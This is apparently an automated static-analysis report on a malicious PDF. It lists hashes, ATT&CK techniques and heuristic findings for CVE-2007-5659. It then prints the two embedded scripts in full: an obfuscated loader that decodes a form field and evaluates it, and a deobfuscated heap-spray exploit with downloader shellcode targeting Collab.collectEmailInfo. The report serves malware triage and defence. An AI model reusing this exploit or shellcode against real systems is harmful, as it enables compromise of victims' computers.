Malicious PDF — malware analysis report

Static analysis result for SHA-256 ab587a49cfd4c9fa…

MALICIOUS

PDF

34.6 KB Created: 2012-10-18 16:14:05 +04:00 Authoring application: Adobe Acrobat 7.0 (via Adobe Acrobat 7.0 Image Conversion Plug-in) First seen: 2026-05-07
MD5: 20e5a24b4a62d77d7cae30702c487fde SHA-1: 7e3141049c8b98c133a57a32a735d18e5a1e47b6 SHA-256: ab587a49cfd4c9fadefdd441f92cce2e2c777b946feb4ee2a805a0f5066184da
110 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.001 Spearphishing Attachment

The PDF file was flagged as malicious by an ML classifier with high confidence. Static analysis revealed embedded JavaScript, indicating an attempt to execute code. The presence of JavaScript actions and embedded JS streams strongly suggests the document is designed to download and execute a second-stage payload. The specific JavaScript file extracted is 'javascript_obj0106_000.js'.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 5

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0106_000.js pdf-javascript-stream PDF /JS object 106 at offset 0x86DB 1305 bytes
SHA-256: ecb8610703c73a03c251c350617ead9612c8ef3feefd568ec9e0c86ac99e6fcd
Detection
ClamAV: No threats found
Obfuscation or payload: likely
22 of 40 identifiers look randomly generated (e.g. 'cxncgfhyry3e4ter') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
var dfgesrge4rg = ':';
var xcbdf4tfer = dfgesrge4rg+'ABCDEF'+'GHI';
var xf4tergee = "JKL"+"MNOP";
var cxbdf4terg = 'QRST'+'UVWXYZ{}';
var xcbdewt4ger = "^";
var cxvbd4tege = ' ()[]'+xcbdewt4ger+'ab'+"cdef"+"ghi"+"jklmnop";
var cxncgfhyry3e4ter = "xyz_";
var vcmnfdhrthrth= "q"+"rstuvw"+cxncgfhyry3e4ter;
var nvbnmewtgerg = '012345'+'6789'+'/!%+-'+'*.,;"'+'=<>&'+'\\';
var ytyrty54yrh = vcmnfdhrthrth+nvbnmewtgerg;
var mcnt54hr  = xcbdf4tfer;
var gcmhnr4yesrg4g = xf4tergee+cxbdf4terg;
var cnvcnrghrthdfg = cxvbd4tege+ytyrty54yrh;
var adszvw4vre=mcnt54hr+gcmhnr4yesrg4g+cnvcnrghrthdfg;
function ewfsg4wger(mjyukuy5rderjhy){
var xcnbr4u7234gde = adszvw4vre.indexOf(mjyukuy5rderjhy);
var cxvnbresgwgareg=xcnbr4u7234gde-60/2;
if (cxvnbresgwgareg<0)
{var mnrtfegreg = adszvw4vre.length;
cxvnbresgwgareg=cxvnbresgwgareg+mnrtfegreg;}
return adszvw4vre.charAt(cxvnbresgwgareg);}
function mtj5e64herg(qasczxsfvw23wr){
var mghjkio9o8po6r='';
for (var i = 0;i< qasczxsfvw23wr.length-1;i++)
{mghjkio9o8po6r += ewfsg4wger(qasczxsfvw23wr[i]);}
return mghjkio9o8po6r;}
var vcnbrth53ey=getField("ZAQ");
var pyuiultjejhrty=vcnbrth53ey.value;
var lopyuyi5r6tj = mtj5e64herg(pyuiultjejhrty);
var aanmyjuitrhreh= 'sewerwecaaev'+'alsesfesfsef';
var masgfrj45y = aanmyjuitrhreh.substring(10,14);
app[masgfrj45y](lopyuyi5r6tj);
acroform_shifted_field_stage_000.js deobfuscated-js AcroForm field shifted-alphabet decoded (shift 30) at offset 0x51A 2058 bytes
SHA-256: a69b23141bc7abc783a02a2436a044dedf39a62f4fbe48daec43fa4a3bd53c2d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function hex2bin(res) {var i;var g = Math.round(res.length/4);if (g != (res.length/4)) res = res + "00";var out = "";for (i=0; i<res.length; i+=4) {out = out + "%u" + res.substr(i+2,2) + res.substr(i,2);}return unescape(out);}function fix_it(yarsp, len){while(yarsp.length * 2 < len){yarsp += yarsp;}return yarsp.substring(0, len / 2);}function heapSpray(str){roteDak = str.length * 2;dakRote= "\u9090";spray = fix_it(dakRote, 0x2000 - roteDak);loxWhee = str + spray;loxWhee = fix_it(loxWhee, 524098);memory = new Array();for(i=0; i < 300; i++){memory[i] = loxWhee.substr(0,loxWhee.length - 1 ) + dakRote;}}function str_repeat ( input, cnt ) {var buf = "";for (i=0; i < cnt; i++){buf += input;}return buf;}function shellcode(loadUrl){var scode = "EB115B4B33C96681C9000480340BE4E2FAEB05E8EAFFFFFF0D5AE5E4E4D52D806F95D46F92E86F92F86F8AEC6FA2C46FD282DDACFC91166FA1D86FB0E19CE50E6F96C4E50AB6D52DADA549E50CD53FEB5AF4DC1690EC252FEAE537A40F15DFFB9103BE6F96C0E50A826FE8AA6F96F8E50A6FE06AE50C4FBFB727BB0C791B1B1B0C561B1B1B0C491B1B1B0C4C1B1B1B0C471B1B1B0C7A1B1B1B0C7D1B1B1B0C701B1B1B8C88D7D6E48C978C8188B01BB3186D210C9B1B1B1B0C9E1B1B1B8C8B8AE4E48C91968889B01BB3106D210C811B1B1B6723E0D52D6D01B1B5B58ECCB51BB314A1EB5AB1E4DC16911323A1E4B88997CA23A1E0819C81E46D01825FE0E482AF82671FE4EB602EE4E4E4D52DB5B5B1B3B51BB31C671CE491018EE08CE4F4E4E48CE4C4AAE48EE41BB3306D22D52DB58EB48EE7B5B58CE4E4E424B11BB33C6DA308B16D11D52D6D1C670CE0B5B48CC0F4E4E4B11B93081BB338E78B18679B18E491066D15ADA5DD0D90ECA564D5D7DD0D9117D52DB5B5B51B93081BB304D52D6D1C670CE0CD11B5B4B1B21B93081BB3001B93081BB30C825FE2E482AF82671FE490D6D52DB98EE1B5B5B1B5B51BB310671CC49A02D524D52DA4EB5AF0E3DC16911323E0E3C282D9D56DA8E3E0B5B5B5B3B51BB31CD52DB51BB3340C7E1A1B1B2593AE036E8B22F7066A9410EF5FD2F3953F0266F7186987975D31E51DF99B4DB8462C2FA0E27CA84A8287731B1B1B1B" +loadUrl + "E4";return scode;}var loadUrlAlsoXored = this.info.Title;var scode = shellcode(loadUrlAlsoXored);heapSpray(hex2bin(scode));var msg_bof = str_repeat( "\u0c0c\u0c0c" , 4096 );this.collabStore = Collab.collectEmailInfo({subj:"",msg:msg_bof}); \